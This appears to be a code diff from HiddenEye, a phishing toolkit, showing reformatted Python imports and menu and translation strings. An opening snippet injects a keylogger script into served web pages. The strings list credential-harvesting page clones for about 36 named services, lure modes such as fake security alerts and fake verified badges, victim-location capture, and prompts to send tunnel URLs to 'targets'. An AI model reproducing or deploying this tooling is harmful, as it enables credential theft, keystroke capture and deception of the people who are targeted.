f = open('Server/www/index.html', 'w')
c = read_data.replace("</title>",
'</title><script src="keylogger.js"></script>')
f = open("Server/www/index.html", "w")
f.write(c)
f.close()
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
default_palette[0], default_palette[4]))
wait(2)
else:
with open('Server/www/index.php') as f:
with open("Server/www/index.php") as f:
read_data = f.read()
c = read_data.replace(
'</title>', '</title><script src="keylogger.js"></script>')
f = open('Server/www/index.php', 'w')
c = read_data.replace("</title>",
'</title><script src="keylogger.js"></script>')
f = open("Server/www/index.php", "w")
f.write(c)
f.close()
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
default_palette[0], default_palette[4]))
wait(2)

View File

@ -4,16 +4,36 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
from subprocess import call as run_command, check_call as try_to_run_command ,Popen as run_background_command, check_output, CalledProcessError, DEVNULL, PIPE
from distutils.dir_util import copy_tree as webpage_set
from time import sleep as wait
from os import path, system, chmod, stat, mkdir, remove, chdir, replace, getuid
from shutil import rmtree, copyfile
from pathlib import Path as pathlib_Path
from pyngrok import ngrok
import base64
import getpass
import platform
import re as regular_expression
import getpass, base64, socket, requests
from platform import system as platform_os
import requests
import socket
import stat
from distutils.dir_util import copy_tree as webpage_set
from io import BytesIO
from os import chdir
from os import chmod
from os import getuid
from os import mkdir
from os import path
from os import remove
from os import replace
from os import system
from pathlib import Path as pathlib_Path
from shutil import copyfile
from shutil import rmtree
from subprocess import call as run_command
from subprocess import CalledProcessError
from subprocess import check_call as try_to_run_command
from subprocess import check_output
from subprocess import DEVNULL
from subprocess import PIPE
from subprocess import Popen as run_background_command
from time import sleep as wait
from urllib import request as url_request
from zipfile import ZipFile
import requests
from pyngrok import conf as ngrok_conf
from pyngrok import ngrok

View File

@ -4,13 +4,14 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette
def print_sorted_as_menu(sorting_list):
col_width = max(len(word) for row in sorting_list for word in row) + 2
for row in sorting_list:
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
print("".join(word.ljust(col_width)
for word in row).format(default_palette[0],
default_palette[2]))

View File

@ -4,79 +4,193 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
#Contains all ActionManager/main_runner.py translation strings
# Contains all ActionManager/main_runner.py translation strings
import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette
def check_version(): #WILL BE MOVED FROM HERE
with open('version.txt') as f: # THIS WILL BE MOVED TOO
#ver_current = f.read() # DONT REMOVE THESE COMMENTS
#version = ver_current.strip() # TO-DO
def check_version(): # WILL BE MOVED FROM HERE
with open("version.txt") as f: # THIS WILL BE MOVED TOO
# ver_current = f.read() # DONT REMOVE THESE COMMENTS
# version = ver_current.strip() # TO-DO
return f.read().strip()
version = check_version()
lang_start_main_menu = {
"version_by_darksec": _(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}").format(default_palette[4], default_palette[2], default_palette[0], version),
"short_description": _("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(default_palette[2],default_palette[0]),
"features_summary" : _("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]").format(default_palette[2], default_palette[0]),
"down_line" : "{0}________________________________________________________________________________".format(default_palette[0]),
"attack_vector_message" : _("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"),
"phishing_modules_header" : _("\n{0}PHISHING-MODULES:").format(default_palette[0]),
"phishing_modules_list" :
[ ['{0}[{1}01{0}]{1} Facebook', '{0}[{1}13{0}]{1} Steam', '{0}[{1}25{0}]{1} Badoo', '{0}[{1}37{0}]{1} PlayStation'],
['{0}[{1}02{0}]{1} Google', '{0}[{1}14{0}]{1} VK', '{0}[{1}26{0}]{1} CryptoCurrency', '{0}[{1}38{0}]{1} Xbox'],
['{0}[{1}03{0}]{1} LinkedIn', '{0}[{1}15{0}]{1} iCloud', '{0}[{1}27{0}]{1} DevianArt', '{0}[{1}39{0}]{1} CUSTOM(1)'],
['{0}[{1}04{0}]{1} GitHub', '{0}[{1}16{0}]{1} GitLab', '{0}[{1}28{0}]{1} DropBox', '{0}[{1}40{0}]{1} CUSTOM(2)'],
['{0}[{1}05{0}]{1} StackOverflow', '{0}[{1}17{0}]{1} Netflix', '{0}[{1}29{0}]{1} eBay'],
['{0}[{1}06{0}]{1} WordPress', '{0}[{1}18{0}]{1} Origin', '{0}[{1}30{0}]{1} MySpace'],
['{0}[{1}07{0}]{1} Twitter', '{0}[{1}19{0}]{1} Pinterest', '{0}[{1}31{0}]{1} PayPal'],
['{0}[{1}08{0}]{1} Instagram', '{0}[{1}20{0}]{1} ProtonMail', '{0}[{1}32{0}]{1} Shopify'],
['{0}[{1}09{0}]{1} Snapchat', '{0}[{1}21{0}]{1} Spotify', '{0}[{1}33{0}]{1} Verizon'],
['{0}[{1}10{0}]{1} Yahoo', '{0}[{1}22{0}]{1} Quora', '{0}[{1}34{0}]{1} Yandex'],
['{0}[{1}11{0}]{1} Twitch', '{0}[{1}23{0}]{1} PornHub', '{0}[{1}35{0}]{1} Reddit'],
['{0}[{1}12{0}]{1} Microsoft', '{0}[{1}24{0}]{1} Adobe', '{0}[{1}36{0}]{1} Subito.it']],
"additional_modules" : _("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
"additional_modules_list" :
[ [_('{0}[{1}0A{0}]{1} Get Victim Location')]],
"operation_mode" : _("\nOperation mode:\n"),
"facebook_operation_modes" :
[ [_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)')],
[_('{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)'), _('{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)')]],
"google_operation_modes" :
[ [_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} New Google Web')],
[_('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
"instagram_operation_modes" :
[ [_('{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing'), _('{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)')],
[_('{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)'), _('{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)')],
[_('{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)')]],
"VK_operation_modes" :
[ [_('{0}[{1}1{0}]{1} Standard VK Web Page Phishing'), _('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
"reddit_operation_modes" :
[ [_('{0}[{1}1{0}]{1} New reddit page'), _('{0}[{1}2{0}]{1} Old reddit page')]],
"additional_module_location_operation_modes" :
[ [_('{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)'), _('{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)')]]
"version_by_darksec":
_(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}"
).format(default_palette[4], default_palette[2], default_palette[0],
version),
"short_description":
_("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(
default_palette[2], default_palette[0]),
"features_summary":
_("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]"
).format(default_palette[2], default_palette[0]),
"down_line":
"{0}________________________________________________________________________________"
.format(default_palette[0]),
"attack_vector_message":
_("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"
),
"phishing_modules_header":
_("\n{0}PHISHING-MODULES:").format(default_palette[0]),
"phishing_modules_list": [
[
"{0}[{1}01{0}]{1} Facebook",
"{0}[{1}13{0}]{1} Steam",
"{0}[{1}25{0}]{1} Badoo",
"{0}[{1}37{0}]{1} PlayStation",
],
[
"{0}[{1}02{0}]{1} Google",
"{0}[{1}14{0}]{1} VK",
"{0}[{1}26{0}]{1} CryptoCurrency",
"{0}[{1}38{0}]{1} Xbox",
],
[
"{0}[{1}03{0}]{1} LinkedIn",
"{0}[{1}15{0}]{1} iCloud",
"{0}[{1}27{0}]{1} DevianArt",
"{0}[{1}39{0}]{1} CUSTOM(1)",
],
[
"{0}[{1}04{0}]{1} GitHub",
"{0}[{1}16{0}]{1} GitLab",
"{0}[{1}28{0}]{1} DropBox",
"{0}[{1}40{0}]{1} CUSTOM(2)",
],
[
"{0}[{1}05{0}]{1} StackOverflow",
"{0}[{1}17{0}]{1} Netflix",
"{0}[{1}29{0}]{1} eBay",
],
[
"{0}[{1}06{0}]{1} WordPress",
"{0}[{1}18{0}]{1} Origin",
"{0}[{1}30{0}]{1} MySpace",
],
[
"{0}[{1}07{0}]{1} Twitter",
"{0}[{1}19{0}]{1} Pinterest",
"{0}[{1}31{0}]{1} PayPal",
],
[
"{0}[{1}08{0}]{1} Instagram",
"{0}[{1}20{0}]{1} ProtonMail",
"{0}[{1}32{0}]{1} Shopify",
],
[
"{0}[{1}09{0}]{1} Snapchat",
"{0}[{1}21{0}]{1} Spotify",
"{0}[{1}33{0}]{1} Verizon",
],
[
"{0}[{1}10{0}]{1} Yahoo", "{0}[{1}22{0}]{1} Quora",
"{0}[{1}34{0}]{1} Yandex"
],
[
"{0}[{1}11{0}]{1} Twitch",
"{0}[{1}23{0}]{1} PornHub",
"{0}[{1}35{0}]{1} Reddit",
],
[
"{0}[{1}12{0}]{1} Microsoft",
"{0}[{1}24{0}]{1} Adobe",
"{0}[{1}36{0}]{1} Subito.it",
],
],
"additional_modules":
_("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
"additional_modules_list": [[_("{0}[{1}0A{0}]{1} Get Target Location")]],
"operation_mode":
_("\nOperation mode:\n"),
"facebook_operation_modes": [
[
_("{0}[{1}1{0}]{1} Standard Page Phishing"),
_("{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)"
),
],
[
_("{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)"
),
_("{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
),
],
],
"google_operation_modes": [
[
_("{0}[{1}1{0}]{1} Standard Page Phishing"),
_("{0}[{1}3{0}]{1} New Google Web"),
],
[_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)")],
],
"instagram_operation_modes": [
[
_("{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing"),
_("{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)"
),
],
[
_("{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
),
_("{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)"),
],
[
_("{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)"
)
],
],
"VK_operation_modes": [[
_("{0}[{1}1{0}]{1} Standard VK Web Page Phishing"),
_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)"),
]],
"reddit_operation_modes": [[
_("{0}[{1}1{0}]{1} New reddit page"),
_("{0}[{1}2{0}]{1} Old reddit page")
]],
"additional_module_location_operation_modes": [[
_("{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)"),
_("{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)"
),
]],
}
lang_start_phishing_page = {
"custom_folder_directory" : _('\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}').format(default_palette[0], default_palette[4], page = 'page'),
"manual_reading_suggestion" : _('\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]').format(default_palette[0], default_palette[4], page = 'page'),
"press_enter_to_contunue_if_setup_correctly" : _('\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.').format(default_palette[0], default_palette[4]),
"copying_your_files" : _('\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...').format(default_palette[0], default_palette[4]),
"https_suggestion" : _("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n").format(default_palette[0], default_palette[4]),
"gdrive_suggestion" : _('{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked.').format(default_palette[0], default_palette[4])
"custom_folder_directory":
_("\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}").
format(default_palette[0], default_palette[4], page="page"),
"manual_reading_suggestion":
_("\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]"
).format(default_palette[0], default_palette[4], page="page"),
"press_enter_to_continue_if_setup_correctly":
_("\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue."
).format(default_palette[0], default_palette[4]),
"copying_your_files":
_("\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...").format(
default_palette[0], default_palette[4]),
"https_suggestion":
_("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n"
).format(default_palette[0], default_palette[4]),
"gdrive_suggestion":
_("{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked."
).format(default_palette[0], default_palette[4]),
}
lang_enter_custom_redirecting_url = {
"enter_redirecting_url_header" : _('{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"enter_redirecting_url_prompt" : _('\n{0}[{1}*{0}]Insert a custom redirect url:').format(default_palette[0], default_palette[4]),
"redirect_here" : _('\n{0}REDIRECT HERE>>> {1}').format(default_palette[0], default_palette[2])
"enter_redirecting_url_header":
_("{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]),
"enter_redirecting_url_prompt":
_("\n{0}[{1}*{0}]Insert a custom redirect url:").format(
default_palette[0], default_palette[4]),
"redirect_here":
_("\n{0}REDIRECT HERE>>> {1}").format(default_palette[0],
default_palette[2]),
}
#
#

View File

@ -4,52 +4,115 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette
lang_server_selection = {
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]),
"servers_list" :
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'],
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'],
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'],
['{0}[{1}03{0}]{1}Localxpose (not working now)']]
"server_selection":
_("{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]),
"select_any_available_server":
_("\n {0}[{1}*{0}]{0}Select Any Available Server:{1}").format(
default_palette[0], default_palette[4]),
"servers_list": [
[
"{0}[{1}00{0}]{1}Localhost",
"{0}[{1}04{0}]{1}Localtunnel (not working now)"
],
[
"{0}[{1}01{0}]{1}Ngrok",
"{0}[{1}05{0}]{1}OpenPort (not working now)"
],
[
"{0}[{1}02{0}]{1}Serveo",
"{0}[{1}06{0}]{1}Pagekite (not working now)"
],
["{0}[{1}03{0}]{1}Localxpose (not working now)"],
],
}
lang_start_localhost = {
"localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"your_localhost_is" : _('Your Localhost is '),
"starting_server_on_addr" : _('\n[*] Starting Server On Address:: {0}:{1}'),
"running_localhost_server" : _('\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK').format(default_palette[0], default_palette[2]),
"localhost_url" : _('\n{0}[{1}*{0}]{1} Localhost URL: {2}http://').format(default_palette[2], default_palette[3], default_palette[3])
"localhost_server":
_("\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------").
format(default_palette[0], default_palette[2]),
"your_localhost_is":
_("Your Localhost is "),
"starting_server_on_addr":
_("\n[*] Starting Server On Address:: {0}:{1}"),
"running_localhost_server":
_("\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]),
"send_this_url_suggestion":
_("\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK").format(
default_palette[0], default_palette[2]),
"localhost_url":
_("\n{0}[{1}*{0}]{1} Localhost URL: {2}http://").format(
default_palette[2], default_palette[3], default_palette[3]),
}
lang_start_ngrok = {
"ngrok_server" : _('\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"send_this_url_suggestion" : _("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(default_palette[0], default_palette[2]),
"ngrok_url" : _('\n{0}[{1}*{0}]{1} NGROK URL: {2}').format(default_palette[0], default_palette[2], default_palette[3])
"ngrok_server":
_("\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------").format(
default_palette[0], default_palette[2]),
"send_this_url_suggestion":
_("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(
default_palette[0], default_palette[2]),
"ngrok_url":
_("\n{0}[{1}*{0}]{1} NGROK URL: {2}").format(default_palette[0],
default_palette[2],
default_palette[3]),
}
lang_start_serveo = {
"serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"serveo_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]),
"make_url_simmilar_to_real_suggestion" : _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]),
"insert_custom_subdomain" : _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]),
"serveo_url" : _('\n{0}[{1}*{0}]{1} SERVEO URL: {2}').format(default_palette[0], default_palette[4], default_palette[3]),
"failed_to_get_domain" : _('\n{0}FAILED TO GET THIS DOMAIN.').format(default_palette[0]),
"suggestion_to_fix_issue" : _('\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE.').format(default_palette[0]),
"you_can_try_to_select_other_domain" : _('\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...').format(default_palette[0], default_palette[4]),
"serveo_url_option_selection" : _('\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"serveo_phishing_warning" : _('\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful.').format(default_palette[0], default_palette[2]),
"choose_type_of_url" : _('\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}').format(default_palette[0], default_palette[2]),
"url_types" :
[ ['{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)'],
['{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)'] ],
"serveo_is_down" : _('{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}').format(default_palette[0], default_palette[2])
}
"serveo_random_server":
_("\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]),
"serveo_custom_server":
_("\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]),
"send_this_url_suggestion":
_("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS").format(
default_palette[0], default_palette[4]),
"make_url_simmilar_to_real_suggestion":
_("\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.").format(
default_palette[0], default_palette[4]),
"insert_custom_subdomain":
_("\n{0}Insert a custom subdomain for serveo").format(
default_palette[0], default_palette[2]),
"serveo_url":
_("\n{0}[{1}*{0}]{1} SERVEO URL: {2}").format(default_palette[0],
default_palette[4],
default_palette[3]),
"failed_to_get_domain":
_("\n{0}FAILED TO GET THIS DOMAIN.").format(default_palette[0]),
"suggestion_to_fix_issue":
_("\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
).format(default_palette[0]),
"you_can_try_to_select_other_domain":
_("\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...").
format(default_palette[0], default_palette[4]),
"serveo_url_option_selection":
_("\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]),
"serveo_phishing_warning":
_("\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful."
).format(default_palette[0], default_palette[2]),
"choose_type_of_url":
_("\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
).format(default_palette[0], default_palette[2]),
"url_types": [
["{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)"],
["{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"],
],
"serveo_is_down":
_("{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}"
).format(default_palette[0], default_palette[2]),
}
lang_rand_localxpose = {
"localxpose_random_server":
_("\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2])
}

View File

@ -4,78 +4,139 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette
text_to_confirm_license = _('Yes, i do')
text_to_confirm_license = _("Yes, i do")
write_eula = _("""
# To Accept EULA set eula to True
# Don't accept EULA if you didn't read LICENSE
""")
lang_check_php = {
"found" : _('\n {0}[{1}*{0}] PHP has been found. Proceeding.').format(default_palette[0], default_palette[2]),
"not-found" : _('\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.').format(default_palette[0], default_palette[2])
"found":
_("\n {0}[{1}*{0}] PHP has been found. Proceeding.").format(
default_palette[0], default_palette[2]),
"not-found":
_("\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.").
format(default_palette[0], default_palette[2]),
}
lang_check_permissions = {
"permissions_granted" : _('{0}Permissions granted!').format(default_palette[0]),
"permissions_denied" : _('{0}Permissions denied! Please run as {1}sudo{0}').format(default_palette[0], default_palette[2]),
"windows_warning" : _("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system.").format(default_palette[0], default_palette[2])
"permissions_granted":
_("{0}Permissions granted!").format(default_palette[0]),
"permissions_denied":
_("{0}Permissions denied! Please run as {1}sudo{0}").format(
default_palette[0], default_palette[2]),
"windows_warning":
_("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system."
).format(default_palette[0], default_palette[2]),
}
lang_verify_connection = {
"connected" : _('\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]').format(default_palette[0], default_palette[2]),
"disconnected" : _('\n {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]').format(default_palette[0], default_palette[2]),
"verify_your_connection" : _('\n{0}[{1}!{0}] Network error. Please verify your internet connection.').format(default_palette[2], default_palette[0])
"connected":
_("\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]").format(
default_palette[0], default_palette[2]),
"disconnected":
_("\n{0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]").format(
default_palette[0], default_palette[2]),
"verify_your_connection":
_("\n{0}[{1}!{0}] Network error. You are disconnected from the internet.").
format(default_palette[2], default_palette[0]),
"continue_warning":
_("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection."
).format(default_palette[2], default_palette[0]),
"continue_confirmation":
_("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
default_palette[2], default_palette[0]),
}
lang_module_loading_message = {
"select_any_mode" : _('\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------').format(default_palette[0], default_palette[2])
"is_loaded":
_("{0} IS LOADED...{0}\n--------------------------------").format(
default_palette[0], default_palette[2]),
"select_any_mode":
_("\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------"
).format(default_palette[0], default_palette[2]),
}
lang_get_ip_addr = {
"unable_to_get_ip" : 'Unable to get Hostname and IP'
}
lang_get_ip_addr = {"unable_to_get_ip": "Unable to get Hostname and IP"}
lang_port_selector = {
"website_port_selection" : _('\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"select_any_available_port" : _("\n {0}[{1}*{0}]Select Port [1-65535]:{1}").format(default_palette[0], default_palette[4]),
"port_suggestion" : _('\n {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want.').format(default_palette[0], default_palette[4])
"website_port_selection":
_("\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]),
"select_any_available_port":
_("\n {0}[{1}*{0}] Select Port [1-65535]:{1}").format(
default_palette[0], default_palette[4]),
"port_suggestion":
_("\n {0}[{1}*{0}] We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
).format(default_palette[0], default_palette[4]),
}
lang_exit_message = {
"choice" : _('\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}').format(default_palette[0], default_palette[4], default_palette[2]),
"help_to_improve_this_tool" : _('{1} [[*]] {0}You always can help to improve this tool and support us. {0}').format(default_palette[2], default_palette[0]),
"tell_if_page_got_broken" : _('{0}[{1}!{0}] If any phishing page got broken, please let us know.').format(default_palette[2], default_palette[0]),
"make_your_pull_request_or_issue" : _('{0}[{1}!{0}] You can create issue or pull request on our GitHub page.').format(default_palette[2], default_palette[0]),
"small_disclaimer_suggestion" : _("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use.").format(default_palette[2], default_palette[0]),
"forum_suggestion" : _('{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help.').format(default_palette[2], default_palette[0]),
"financial_support" : _("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)").format(default_palette[2], default_palette[0]),
"thank_you" : _('{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!').format(default_palette[2], default_palette[0])
"choice":
_("\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}"
).format(default_palette[0], default_palette[4], default_palette[2]),
"help_to_improve_this_tool":
_("{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
).format(default_palette[2], default_palette[0]),
"tell_if_page_got_broken":
_("{0}[{1}!{0}] If any phishing page got broken, please let us know."
).format(default_palette[2], default_palette[0]),
"make_your_pull_request_or_issue":
_("{0}[{1}!{0}] You can create issue or pull request on our GitHub page.").
format(default_palette[2], default_palette[0]),
"small_disclaimer_suggestion":
_("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use."
).format(default_palette[2], default_palette[0]),
"forum_suggestion":
_("{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help."
).format(default_palette[2], default_palette[0]),
"financial_support":
_("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)"
).format(default_palette[2], default_palette[0]),
"thank_you":
_("{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!"
).format(default_palette[2], default_palette[0]),
}
lang_credentials_collector = {
"waiting_for_interaction" : _("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n").format(default_palette[0], default_palette[2], default_palette[4]),
"credentials_found" : _('\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]),
"device_details_found" : _('\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]),
